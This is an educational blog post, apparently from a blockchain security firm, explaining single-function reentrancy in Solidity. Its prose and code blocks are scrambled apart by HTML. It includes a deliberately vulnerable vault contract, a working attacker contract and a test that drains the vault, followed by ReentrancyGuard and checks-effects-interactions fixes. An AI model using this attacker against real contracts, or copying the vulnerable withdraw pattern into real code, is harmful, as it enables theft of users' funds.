In a reentrancy attack, the recipient contract exploits the external call by recursively calling the function before the first invocation completes. This behaviors differs from simply calling the function once and can lead to security breaches. From the developer’s perspective, it is challenging to predict and imagine how such an execution might occur, making it difficult to prevent. There are many possible scenarios where reentrancy can be exploited. This document will provide a simple example of a reentrancy attack and how to prevent it.<\/span><\/p>\n This is the source code of a simple vault contract that allows users to deposit and withdraw funds. The There is an external call to the Let’s analyze the code execution of the So, we can say that calling the The requirement is that after the first function is completed, we can execute some other but eventually the second function must be executed.<\/span><\/p>\n From the above analysis, we can understand the concept of reentrancy, which involves calling the function again within the user’s external function.<\/span><\/p>\n Let’s consider the following scenario: This is allowed because the execution satisfies the above requirement. But something went wrong.<\/span><\/p>\n The result of this execution is that the user received twice the amount of ETH they held in this contract as a balance. However, the execution was still successful. Similarly, we can do 10 times or 100 times. The user can receive 100 times the amount of ETH they held in this contract as a balance.<\/p>\n This is an example of an attacker contract.<\/span><\/p>\n<\/div>\n <\/p>\n This is the test file of Wake.<\/span><\/p>\n<\/div>\n<\/div>\n <\/p>\n We deploy a vault and store 10 ether and deploy an attacker contract with 1 ETH.<\/span><\/p>\n by calling the In the attack function, it deposits to the vault 1 ETH and withdraws from the vault. The withdraw function calls external calls to send ether to the attacker. so the receive function in the attacker contract is called. In the This is a call trace of the attack. The attacker contract has 1 ETH and the vault contract has 10 ETH. After 5 times of the This is a single-function reentrancy attack. Most other reentrancy attacks are based on this scenario. However, due to the complexity of the project and the function structure, it is difficult to detect.<\/p>\n<\/div>\n<\/div>\n There are several ways to prevent this attack. These prevention methods work for the single-function reentrancy attack but are not guaranteed to prevent all reentrancy attacks.<\/span><\/p>\n Here are some common methods:<\/span><\/p>\n By using ReentrancyGuard, it is impossible to reenter the contract.<\/span> <\/p>\n However, we will find out that it is not a sufficient solution for all types of reentrancies.<\/p>\n The best prevention method is to complete the state changes of the function first and then call the external function. As described above, calling a function can be viewed as two separate function calls. By ensuring the second part of the function does nothing, it disables the attack.<\/span> In conclusion, understanding and preventing reentrancy vulnerabilities is crucial for developing secure smart contracts. Even though there are other types of reentrancy attacks, for example, ReentrancyGuard is insufficient to completely prevent some contracts. It is important to understand the concept of reentrancy and how it can be exploited.<\/p>\n <\/p>\nAnalysis of a single function reentrancy attack<\/b><\/h2>\n
withdraw<\/code> function is vulnerable to a reentrancy attack.<\/span><\/p>\n\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ncontract Vault {\n mapping(address => uint256) private balances;\n\n function deposit() external payable {\n balances[msg.sender] += msg.value;\n }\n function withdraw() public {\n uint256 amount = balances[msg.sender];\n msg.sender.call{value: amount}("");\n balances[msg.sender] = 0 ;\n }\n}<\/code><\/pre>\nmsg.sender<\/code> in the withdraw<\/code> function. This is the point where the reentrancy attack can occur. The attacker can call the withdraw<\/code> function multiple times before the first invocation completes, leading to unexpected behaviors.<\/span><\/p>\nwithdraw<\/code> function. The problem with this function is that it updates the value after an external call. Below is how the withdraw<\/code> function works:<\/span><\/p>\nuint256 amount = balances[msg.sender];\n(bool success,) = msg.sender.call{value: amount}("");\nrequire(success, "Failed to send Ether");\nbalances[msg.sender] = 0;<\/code><\/pre>\nwithdraw<\/code> function is equivalent to calling two functions:<\/span><\/p>\n\n
uint256 amount = balances[msg.sender];\n(bool success,) = msg.sender.call{value: amount}("");\n {\n \/\/ This block of executed as reentrant\n uint256 amount = balances[msg.sender];\n (bool success,) = msg.sender.call{value: amount}("");\n require(success, "Failed to send Ether");\n balances[msg.sender] = 0;\n }\nrequire(success, "Failed to send Ether");\nbalances[msg.sender] = 0;<\/code><\/pre>\nAttack example<\/b><\/h2>\n
\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ninterface Vault {\n function deposit() external payable;\n function withdraw() external;\n}\n\ncontract Attacker {\n Vault vault;\n uint256 amount = 1 ether;\n\n uint256 count = 0;\n\n constructor(Vault _vault) payable {\n vault = Vault(_vault);\n }\n\n \/**\n * @notice trigger withdraw\n *\/\n function attack() public {\n vault.deposit{value: address(this).balance}();\n if (address(vault).balance >= amount) {\n vault.withdraw();\n }\n }\n\n \/**\n * @notice withdraw call call repeatly but they did not update value = balance[msg.sender].\n * so this function obtain value of ether repeatly.\n *\/\n receive() external payable {\n if (count< 5) {\n count++;\n vault.withdraw();\n }\n }\n}<\/code><\/pre>\n<\/div>\nfrom wake.testing import *\n\nfrom pytypes.contracts.singlefunctionreentrancy.vault import Vault\nfrom pytypes.contracts.singlefunctionreentrancy.attacker import Attacker\n\n@default_chain.connect()\ndef test_default():\n print("---------------------Single Function Reentrancy---------------------")\n victim = default_chain.accounts[0]\n attacker = default_chain.accounts[1]\n \n vault = Vault.deploy(from_=victim)\n\n vault.deposit(from_=victim, value="10 ether")\n attacker_contract = Attacker.deploy(vault.address, from_=attacker, value="1 ether")\n\n print("Vault balance : ", vault.balance)\n print("Attacker balance: ", attacker_contract.balance)\n\n print("----------Attack----------")\n tx = attacker_contract.attack(from_=attacker)\n print(tx.call_trace)\n\n print("Vault balance : ", vault.balance)\n print("Attacker balance: ", attacker_contract.balance)<\/code><\/pre>\nattacker_contract.attack()<\/code> function in Python test code, the attack function in the attacker contract is called.<\/span><\/p>\nreceive()<\/code> function, it calls the withdraw<\/code> function again.<\/span><\/p>\nwithdraw<\/code> function call recursively, the attacker contract has 6 ETH and the vault has 5 ETH.<\/span><\/p>\n![\"\"](\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/image4.png\")
<\/span><\/p>\nHow to prevent a reentrancy attack<\/b><\/h2>\n
ReentrancyGuard<\/b><\/h3>\n
\n<\/span><\/p>\n<\/div>\nimport "@openzeppelin\/contracts\/security\/ReentrancyGuard.sol";\n\ncontract Vault is ReentrancyGuard {\n mapping(address => uint256) private balances;\n\n function deposit() external payable nonReentrant {\n balances[msg.sender] += msg.value;\n }\n \n function withdraw() public nonReentrant {\n uint256 amount = balances[msg.sender];\n msg.sender.call{value: amount}("");\n balances[msg.sender] = 0;\n }\n}<\/code><\/pre>\nChecks-Effects-Interactions<\/b><\/h3>\n
\n<\/span><\/p>\n<\/div>\n<\/div>\nfunction withdraw() public {\n uint256 amount = balances[msg.sender];\n balances[msg.sender] = 0;\n msg.sender.call{value: amount}("");\n}<\/code><\/pre>\nConclusion<\/b><\/h2>\n